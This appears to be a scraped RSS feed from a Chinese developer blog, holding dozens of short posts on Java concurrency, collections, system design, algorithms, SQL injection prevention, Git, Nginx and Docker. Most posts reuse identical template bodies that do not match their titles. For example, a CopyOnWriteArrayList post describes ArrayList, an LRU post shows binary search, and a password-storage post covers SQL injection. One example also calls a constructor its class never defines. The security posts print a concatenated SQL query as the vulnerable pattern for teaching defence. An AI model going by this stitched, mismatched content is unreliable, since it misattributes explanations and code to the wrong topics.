}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 面试：synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ 面试：synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 面试：线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 面试：线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 面试：CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ 面试：CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 面试：LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ 面试：LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 面试：ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ 面试：ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 面试：HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ 面试：HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 面试：ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ 面试：ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 面试：Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ 面试：Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA 面试：Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ 面试：Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA 面试：Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ 面试：Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA 面试：Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ 面试：Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA 面试：Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ 面试：Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 教程：文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 教程：文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 教程：订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 教程：订单超时取消如何实现

教程：订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 教程：秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 教程：秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 教程：短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 教程：短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 教程：布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 教程：布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 教程：LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ 教程：LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 教程：二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 教程：二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 教程：密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 教程：密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 教程：接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 教程：接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 教程：SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ 教程：SQL 注入原理和防护方法

教程：SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 教程：Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ 教程：Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 教程：Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ 教程：Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 教程：Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ 教程：Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 教程：Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ 教程：Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 教程：Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ 教程：Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 教程：Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ 教程：Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 教程：容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 教程：容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 教程：docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ 教程：docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 教程：Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ 教程：Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 教程：Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ 教程：Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 教程：Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ 教程：Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

